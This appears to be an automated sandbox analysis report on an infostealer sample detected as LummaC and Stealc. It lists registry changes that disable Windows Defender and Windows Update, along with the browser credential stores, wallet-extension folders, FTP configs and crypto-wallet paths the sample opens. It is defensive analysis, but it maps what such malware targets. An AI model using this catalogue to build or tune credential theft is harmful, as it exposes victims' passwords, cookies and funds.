Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: Y41xQGmT37.exe, Y41xQGmT37.exe, 00000000.00000003.1401467923.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1521372409.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1438308547.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1438387842.00000000058B7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Y41xQGmT37.exe PID: 1004, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1687877446.0000000000351000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1627002397.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PSWNUEKNC3FPT2DCN2C27VPRVU.exe PID: 7708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Y41xQGmT37.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: Y41xQGmT37.exe	String found in binary or memory: Wallets/ElectronCash
Source: Y41xQGmT37.exe	String found in binary or memory: window-state.json
Source: Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: EQUA"},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"
Source: Y41xQGmT37.exe, 00000000.00000003.1397704572.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Y41xQGmT37.exe	String found in binary or memory: ExodusWeb3
Source: Y41xQGmT37.exe	String found in binary or memory: %appdata%\Ethereum
Source: Y41xQGmT37.exe, 00000000.00000003.1377034873.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Y41xQGmT37.exe, 00000000.00000003.1377034873.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Y41xQGmT37.exe, 00000000.00000003.1397704572.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
